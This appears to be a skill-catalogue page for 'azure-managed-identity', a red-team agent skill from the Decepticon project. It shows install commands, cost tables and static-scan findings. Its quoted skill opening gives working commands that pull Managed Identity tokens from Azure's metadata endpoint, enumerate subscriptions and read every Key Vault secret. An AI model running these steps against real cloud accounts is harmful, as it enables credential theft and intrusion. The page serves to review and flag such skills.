Decepticon is an autonomous red-team agent that coordinates AI agents, security tools, sandboxes, and supporting services for authorized cybersecurity assessments. Security researchers and red teams can run it through its Docker stack, cloud service, command-line interface, or Python SDK, with the catalogue entries representing its available skills.
Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add PurpleAILAB/Decepticon --skill azure-managed-identitygit clone --depth 1 https://github.com/PurpleAILAB/DecepticonWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/purpleailab/decepticon/azure-managed-identity)<a href="https://agentmods.dev/skills/purpleailab/decepticon/azure-managed-identity"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/azure-managed-identity/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/purpleailab/decepticon/azure-managed-identity"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/azure-managed-identity.svg" alt="Reviewed on agentmods" width="80" height="20"></a>- NVIDIA SkillSpector warn
SkillSpector: 5 findings, up to high
These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →
- high Server-Side Request Forgery · line 3 Code accesses a cloud instance metadata endpoint (e.g. 169.254.169.254). A single request can return temporary IAM credentials, making this a high-value SSRF target for credential theft.Fix: Remove access to cloud metadata endpoints unless strictly required. If metadata is needed, restrict it (e.g. IMDSv2 with hop limit) and never expose returned credentials.
- high Server-Side Request Forgery · line 21 Code accesses a cloud instance metadata endpoint (e.g. 169.254.169.254). A single request can return temporary IAM credentials, making this a high-value SSRF target for credential theft.Fix: Remove access to cloud metadata endpoints unless strictly required. If metadata is needed, restrict it (e.g. IMDSv2 with hop limit) and never expose returned credentials.
- high Server-Side Request Forgery · line 28 Code accesses a cloud instance metadata endpoint (e.g. 169.254.169.254). A single request can return temporary IAM credentials, making this a high-value SSRF target for credential theft.Fix: Remove access to cloud metadata endpoints unless strictly required. If metadata is needed, restrict it (e.g. IMDSv2 with hop limit) and never expose returned credentials.
- high Server-Side Request Forgery · line 64 Code accesses a cloud instance metadata endpoint (e.g. 169.254.169.254). A single request can return temporary IAM credentials, making this a high-value SSRF target for credential theft.Fix: Remove access to cloud metadata endpoints unless strictly required. If metadata is needed, restrict it (e.g. IMDSv2 with hop limit) and never expose returned credentials.
- medium Data Exfiltration · line 84 Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00055 | $0.01271 |
| Opus 5 | $0.00028 | $0.00635 |
| Sonnet 5 | $0.00011 | $0.00254 |
| Haiku 4.5 | $0.00006 | $0.00127 |
Grade C, and why
azure-managed-identity scanned grade C with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 8d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Cloud metadata endpointhighServer-side request forgery
One request to 169.254.169.254 can return temporary IAM credentials.
description: "Azure Managed Identity abuse — IMDS at 169.254.169.254 from compromised VM / App Service / Function, token exchange for Graph/ARM/KeyVault, federated workload identity abuse, hybrid AAD Connect MSOL credent Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
TOKEN=$(curl -s -H Metadata:true \ Copies of this mod
1 near-identical copy found in the catalogue:
- azure-managed-identity — 100% identical, 0 lines differ
How it starts
The opening of the file, as written. The whole thing — 111 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Azure Managed Identity Abuse
You have RCE in an Azure compute resource (VM, App Service, Function, AKS, Container Apps). Steal the Managed Identity token and pivot.
Steal the token
Linux VM / Container
TOKEN=$(curl -s -H Metadata:true \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" \
| jq -r .access_token)
Windows VM
$h = @{Metadata="true"}
$r = Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -Headers $h
$TOKEN = $r.access_token
App Service / Function (different endpoint, requires IDENTITY_HEADER)
TOKEN=$(curl -s -H "X-IDENTITY-HEADER: $IDENTITY_HEADER" \
"$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2019-08-01" \
| jq -r .access_token)
Common token audiences (resource param)
| Audience URL | Use |
|---|---|
https://management.azure.com/ |
ARM — list/modify Azure resources |
https://graph.microsoft.com/ |
Microsoft Graph — read directory, mail, groups |
https://vault.azure.net |
Key Vault — secrets, keys, certificates |
https://storage.azure.com/ |
Storage account — blob/queue/file/table |
https://database.windows.net/ |
Azure SQL |
https://servicebus.azure.net/ |
Service Bus |
Request one token per audience — the MI assignment determines which work.
Use the token
# Enumerate the subscription
curl -s -H "Authorization: Bearer $TOKEN" \
"https://management.azure.com/subscriptions?api-version=2020-01-01" | jq .
# List Key Vaults (then a VAULT_TOKEN to read secrets)
curl -s -H "Authorization: Bearer $TOKEN" \
"https://management.azure.com/subscriptions/$SUB/providers/Microsoft.KeyVault/vaults?api-version=2022-07-01"
# Read every secret
VAULT_TOKEN=$(curl -s -H Metadata:true "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net" | jq -r .access_token)
curl -s -H "Authorization: Bearer $VAULT_TOKEN" "https://$VAULT_NAME.vault.azure.net/secrets?api-version=7.4" | jq .
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 8d ago First seen · 111 lines · 55 tokens per session scan C 27f9d5c32037
azure-managed-identity is a skill published in the GitHub repository PurpleAILAB/Decepticon (5,482 stars, last pushed 12d ago), licensed Apache-2.0. It adds 55 tokens to every session and 1,271 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it C with 2 findings (cloud metadata endpoint, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
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